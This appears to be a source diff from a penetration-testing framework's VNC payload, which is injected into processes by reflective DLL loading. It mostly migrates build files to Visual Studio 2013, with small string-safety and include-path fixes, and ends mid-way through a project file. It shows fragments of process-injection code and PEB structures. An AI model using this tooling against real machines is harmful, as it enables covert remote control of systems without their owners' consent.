-	ULONG SizeOfImage;
-	UNICODE_STR FullDllName;
-	UNICODE_STR BaseDllName;
-	ULONG Flags;
-	SHORT LoadCount;
-	SHORT TlsIndex;
-	LIST_ENTRY HashTableEntry;
-	ULONG TimeDateStamp;
-} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
-
-// WinDbg> dt -v ntdll!_PEB_LDR_DATA
-typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
-{
-   DWORD dwLength;
-   DWORD dwInitialized;
-   LPVOID lpSsHandle;
-   LIST_ENTRY InLoadOrderModuleList;
-   LIST_ENTRY InMemoryOrderModuleList;
-   LIST_ENTRY InInitializationOrderModuleList;
-   LPVOID lpEntryInProgress;
-} PEB_LDR_DATA, * PPEB_LDR_DATA;
-
-// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
-typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
-{
-   struct _PEB_FREE_BLOCK * pNext;
-   DWORD dwSize;
-} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
-
-// struct _PEB is defined in Winternl.h but it is incomplete
-// WinDbg> dt -v ntdll!_PEB
-typedef struct __PEB // 65 elements, 0x210 bytes
-{
-   BYTE bInheritedAddressSpace;
-   BYTE bReadImageFileExecOptions;
-   BYTE bBeingDebugged;
-   BYTE bSpareBool;
-   LPVOID lpMutant;
-   LPVOID lpImageBaseAddress;
-   PPEB_LDR_DATA pLdr;
-   LPVOID lpProcessParameters;
-   LPVOID lpSubSystemData;
-   LPVOID lpProcessHeap;
-   PRTL_CRITICAL_SECTION pFastPebLock;
-   LPVOID lpFastPebLockRoutine;
-   LPVOID lpFastPebUnlockRoutine;
-   DWORD dwEnvironmentUpdateCount;
-   LPVOID lpKernelCallbackTable;
-   DWORD dwSystemReserved;
-   DWORD dwAtlThunkSListPtr32;
-   PPEB_FREE_BLOCK pFreeList;
-   DWORD dwTlsExpansionCounter;
-   LPVOID lpTlsBitmap;
-   DWORD dwTlsBitmapBits[2];
-   LPVOID lpReadOnlySharedMemoryBase;
-   LPVOID lpReadOnlySharedMemoryHeap;
-   LPVOID lpReadOnlyStaticServerData;
-   LPVOID lpAnsiCodePageData;
-   LPVOID lpOemCodePageData;
-   LPVOID lpUnicodeCaseTableData;
-   DWORD dwNumberOfProcessors;
-   DWORD dwNtGlobalFlag;
-   LARGE_INTEGER liCriticalSectionTimeout;
-   DWORD dwHeapSegmentReserve;
-   DWORD dwHeapSegmentCommit;
-   DWORD dwHeapDeCommitTotalFreeThreshold;
-   DWORD dwHeapDeCommitFreeBlockThreshold;
-   DWORD dwNumberOfHeaps;
-   DWORD dwMaximumNumberOfHeaps;
-   LPVOID lpProcessHeaps;
-   LPVOID lpGdiSharedHandleTable;
-   LPVOID lpProcessStarterHelper;
-   DWORD dwGdiDCAttributeList;
-   LPVOID lpLoaderLock;
-   DWORD dwOSMajorVersion;
-   DWORD dwOSMinorVersion;
-   WORD wOSBuildNumber;
-   WORD wOSCSDVersion;
-   DWORD dwOSPlatformId;
-   DWORD dwImageSubsystem;
-   DWORD dwImageSubsystemMajorVersion;
-   DWORD dwImageSubsystemMinorVersion;
-   DWORD dwImageProcessAffinityMask;
-   DWORD dwGdiHandleBuffer[34];
-   LPVOID lpPostProcessInitRoutine;
-   LPVOID lpTlsExpansionBitmap;
-   DWORD dwTlsExpansionBitmapBits[32];
-   DWORD dwSessionId;
-   ULARGE_INTEGER liAppCompatFlags;
-   ULARGE_INTEGER liAppCompatFlagsUser;
-   LPVOID lppShimData;
-   LPVOID lpAppCompatInfo;
-   UNICODE_STR usCSDVersion;
-   LPVOID lpActivationContextData;
-   LPVOID lpProcessAssemblyStorageMap;
-   LPVOID lpSystemDefaultActivationContextData;
-   LPVOID lpSystemAssemblyStorageMap;
-   DWORD dwMinimumStackCommit;
-} _PEB, * _PPEB;
-
-typedef struct
-{
-	WORD	offset:12;
-	WORD	type:4;
-} IMAGE_RELOC, *PIMAGE_RELOC;
-//===============================================================================================//
-#endif
-//===============================================================================================//
--- a/external/source/vncdll/loader/loader.rc
+++ b/external/source/vncdll/loader/loader.rc
@ -1,6 +0,0 @@
-
-#ifdef _X64_
-IDR_VNC_DLL		IMG		DISCARDABLE		"../winvnc/x64/release/vnc.x64.dll"
-#else
-IDR_VNC_DLL		IMG		DISCARDABLE		"../winvnc/release/vnc.dll"
-#endif
--- a/external/source/vncdll/loader/loader.vcproj
+++ b/external/source/vncdll/loader/loader.vcproj
@ -1,437 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="9.00"
-	Name="loader"
-	ProjectGUID="{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
-	RootNamespace="loader"
-	Keyword="Win32Proj"
-	TargetFrameworkVersion="196613"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-		<Platform
-			Name="x64"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Debug|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			UseOfMFC="1"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="2"
-				EnableIntrinsicFunctions="true"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
-				RuntimeLibrary="0"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-				PreprocessorDefinitions="_X86_"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="Advapi32.lib ws2_32.lib User32.lib"
-				OutputFile="release\vncdll.dll"
-				LinkIncremental="1"
-				GenerateManifest="false"
-				GenerateDebugInformation="false"
-				SubSystem="2"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-				CommandLine="copy /y &quot;release\vncdll.dll&quot; &quot;..\output\&quot;"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
-			UseOfMFC="1"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="2"
-				EnableIntrinsicFunctions="true"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
-				RuntimeLibrary="0"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-				PreprocessorDefinitions="_X64_"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="Advapi32.lib ws2_32.lib User32.lib"
-				OutputFile="release\vncdll.x64.dll"
-				LinkIncremental="1"
-				GenerateManifest="false"
-				GenerateDebugInformation="false"
-				SubSystem="2"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="1"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-				CommandLine="copy /y &quot;release\vncdll.x64.dll&quot; &quot;..\output\&quot;"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\context.c"
-				>
-			</File>
-			<File
-				RelativePath=".\loader.c"
-				>
-			</File>
-			<Filter
-				Name="rdi"
-				>
-				<File
-					RelativePath=".\LoadLibraryR.c"
-					>
-				</File>
-				<File
-					RelativePath=".\ReflectiveLoader.c"
-					>
-				</File>
-			</Filter>
-			<Filter
-				Name="core"
-				>
-				<File
-					RelativePath=".\inject.c"
-					>
-				</File>
-				<File
-					RelativePath=".\ps.c"
-					>
-				</File>
-				<File
-					RelativePath=".\session.c"
-					>
-				</File>
-			</Filter>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-			<File
-				RelativePath=".\context.h"
-				>
-			</File>
-			<File
-				RelativePath=".\loader.h"
-				>
-			</File>
-			<Filter
-				Name="rdi"
-				>
-				<File
-					RelativePath=".\LoadLibraryR.h"
-					>
-				</File>
-				<File
-					RelativePath=".\ReflectiveDLLInjection.h"
-					>
-				</File>
-				<File
-					RelativePath=".\ReflectiveLoader.h"
-					>
-				</File>
-			</Filter>
-			<Filter
-				Name="core"
-				>
-				<File
-					RelativePath=".\inject.h"
-					>
-				</File>
-				<File
-					RelativePath=".\ps.h"
-					>
-				</File>
-				<File
-					RelativePath=".\session.h"
-					>
-				</File>
-			</Filter>
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-			<File
-				RelativePath=".\loader.rc"
-				>
-			</File>
-		</Filter>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>
--- a/external/source/vncdll/make.bat
+++ b/external/source/vncdll/make.bat
@ -0,0 +1,32 @@
+@ECHO OFF
+IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
+
+IF "%1"=="x86" GOTO BUILD_X86
+IF "%1"=="X64" GOTO BUILD_X64
+
+ECHO "Building VNCDLL x64 and x86 (Release)"
+SET PLAT=all
+GOTO RUN
+
+:BUILD_X86
+ECHO "Building VNCDLL x86 (Release)"
+SET PLAT=x86
+GOTO RUN
+
+:BUILD_X64
+ECHO "Building VNCDLL x64 (Release)"
+SET PLAT=x64
+GOTO RUN
+
+:RUN
+PUSHD workspace
+msbuild.exe make.msbuild /target:%PLAT%
+POPD
+
+GOTO :END
+
+:NEED_VS
+ECHO "This command must be executed from within a Visual Studio Command prompt."
+ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
+
+:END
--- a/external/source/vncdll/make.msbuild
+++ b/external/source/vncdll/make.msbuild
@ -0,0 +1,19 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\vncdll.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86;x64" />
+
+  <Target Name="x86">
+    <Message Text="Building VNCDLL x86 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="Building VNCDLL x64 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
+  </Target>
+</Project>
+
--- a/external/source/vncdll/output/vncdll.dll
+++ b/external/source/vncdll/output/vncdll.dll
--- a/external/source/vncdll/output/vncdll.x64.dll
+++ b/external/source/vncdll/output/vncdll.x64.dll
--- a/external/source/vncdll/winvnc/vncdll.sln
+++ b/external/source/vncdll/winvnc/vncdll.sln
@ -1,11 +1,10 @@
-Microsoft Visual Studio Solution File, Format Version 10.00
-# Visual C++ Express 2008
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winvnc", "WinVNC.vcproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}"
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winvnc", "winvnc\WinVNC.vcxproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}"
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "..\loader\loader.vcproj", "{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
-	ProjectSection(ProjectDependencies) = postProject
-		{EA6A09AC-04BB-423D-8842-CA48DF901058} = {EA6A09AC-04BB-423D-8842-CA48DF901058}
-	EndProjectSection
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vncdll", "vncdll\vncdll.vcxproj", "{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
 EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
@ -15,19 +14,22 @@ Global
 		Release|x64 = Release|x64
 	EndGlobalSection
 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.Build.0 = Debug|Win32
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.ActiveCfg = Debug|x64
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.Build.0 = Debug|x64
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.ActiveCfg = Release|Win32
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.Build.0 = Release|Win32
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.ActiveCfg = Release|x64
+		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.Build.0 = Release|x64
 		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|Win32.ActiveCfg = Debug|Win32
 		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|Win32.Build.0 = Debug|Win32
-		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|x64.ActiveCfg = Debug|Win32
+		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|x64.ActiveCfg = Debug|x64
+		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|x64.Build.0 = Debug|x64
 		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.ActiveCfg = Release|Win32
 		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.Build.0 = Release|Win32
 		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.ActiveCfg = Release|x64
 		{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.Build.0 = Release|x64
-		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.ActiveCfg = Debug|Win32
-		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.Build.0 = Debug|Win32
-		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.ActiveCfg = Debug|Win32
-		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.ActiveCfg = Release|Win32
-		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.Build.0 = Release|Win32
-		{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.ActiveCfg = Release|x64
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
--- a/external/source/vncdll/vncdll/LICENSE.txt
+++ b/external/source/vncdll/vncdll/LICENSE.txt
--- a/external/source/vncdll/vncdll/context.c
+++ b/external/source/vncdll/vncdll/context.c
@ -76,7 +76,7 @@ DWORD WINAPI context_message_thread( LPVOID lpParameter )
 	{
 		do
 		{
-			_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName );
+			_snprintf_s( cNamedPipe, MAX_PATH, MAX_PATH - 1, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName );

 			dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe );
 				
--- a/external/source/vncdll/vncdll/context.h
+++ b/external/source/vncdll/vncdll/context.h
--- a/external/source/vncdll/vncdll/inject.c
+++ b/external/source/vncdll/vncdll/inject.c
@ -1,7 +1,7 @@
 #include "loader.h"
 #include "ps.h"
 #include "inject.h"
-#include "LoadLibraryR.h"
+#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
 #include <Tlhelp32.h>

 // Simple trick to get the current meterpreters arch
--- a/external/source/vncdll/vncdll/inject.h
+++ b/external/source/vncdll/vncdll/inject.h
--- a/external/source/vncdll/vncdll/loader.c
+++ b/external/source/vncdll/vncdll/loader.c
@ -5,11 +5,12 @@
 #include "ps.h"
 #include "session.h"
 #include "inject.h"
-#include "ReflectiveLoader.h"

 #define VNCFLAG_DISABLECOURTESYSHELL		1
 #define VNCFLAG_DISABLESESSIONTRACKING		2

+#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
+
 /*
 * The HINSTANCE of this injected dll.
 */
@ -173,7 +174,7 @@ DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )

 		hAgentProcess = hProcess;

-		_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );
+		_snprintf_s( cpCommandLine, COMMANDLINE_LENGTH, COMMANDLINE_LENGTH - 1, "/v /c:0x%08p", lpMemory );

 	} while( 0 );

--- a/external/source/vncdll/vncdll/loader.h
+++ b/external/source/vncdll/vncdll/loader.h
--- a/external/source/vncdll/vncdll/loader.rc
+++ b/external/source/vncdll/vncdll/loader.rc
@ -0,0 +1,18 @@
+
+#ifdef _X64_
+
+#ifdef _DEBUG
+IDR_VNC_DLL		IMG		DISCARDABLE		"..\\winvnc\\Debug\\x64\\winvnc.x64.dll"
+#else
+IDR_VNC_DLL		IMG		DISCARDABLE		"..\\winvnc\\Release\\x64\\winvnc.x64.dll"
+#endif
+
+#else
+
+#ifdef _DEBUG
+IDR_VNC_DLL		IMG		DISCARDABLE		"..\\winvnc\\Debug\\Win32\\winvnc.x86.dll"
+#else
+IDR_VNC_DLL		IMG		DISCARDABLE		"..\\winvnc\\Release\\Win32\\winvnc.x86.dll"
+#endif
+
+#endif
--- a/external/source/vncdll/vncdll/ps.c
+++ b/external/source/vncdll/vncdll/ps.c
--- a/external/source/vncdll/vncdll/ps.h
+++ b/external/source/vncdll/vncdll/ps.h
--- a/external/source/vncdll/vncdll/session.c
+++ b/external/source/vncdll/vncdll/session.c
@ -18,7 +18,7 @@ DWORD session_id( DWORD dwProcessId )
 	{
 		if( !pProcessIdToSessionId )
 		{
-			hKernel = LoadLibrary( "kernel32.dll" );
+			hKernel = LoadLibraryA( "kernel32.dll" );
 			if( hKernel )
 				pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
 		}
@ -53,7 +53,7 @@ DWORD session_activeid()
 	{
 		if( !pWTSGetActiveConsoleSessionId )
 		{
-			hKernel = LoadLibrary( "kernel32.dll" );
+			hKernel = LoadLibraryA( "kernel32.dll" );
 			if( hKernel )
 				pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
 		}
@ -141,7 +141,7 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
 			CloseHandle( hToken );
 		}

-		hKernel = LoadLibrary( "kernel32" );
+		hKernel = LoadLibraryA( "kernel32" );
 		if( !hKernel )
 			break;

--- a/external/source/vncdll/vncdll/session.h
+++ b/external/source/vncdll/vncdll/session.h
--- a/external/source/vncdll/vncdll/vncdll.vcxproj
+++ b/external/source/vncdll/vncdll/vncdll.vcxproj
@ -0,0 +1,245 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}</ProjectGuid>
+    <RootNamespace>vncdll</RootNamespace>
+    <Keyword>Win32Proj</Keyword>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120_xp</PlatformToolset>
+    <UseOfMfc>false</UseOfMfc>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120_xp</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120_xp</PlatformToolset>
+    <UseOfMfc>false</UseOfMfc>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120_xp</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup>
+    <_ProjectFileVersion>12.0.21005.1</_ProjectFileVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <OutDir>$(ProjectDir)$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(ProjectDir)$(Configuration)\$(Platform)\</IntDir>
+    <LinkIncremental>true</LinkIncremental>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <OutDir>$(ProjectDir)$(Configuration)\$(Platform)\</OutDir>
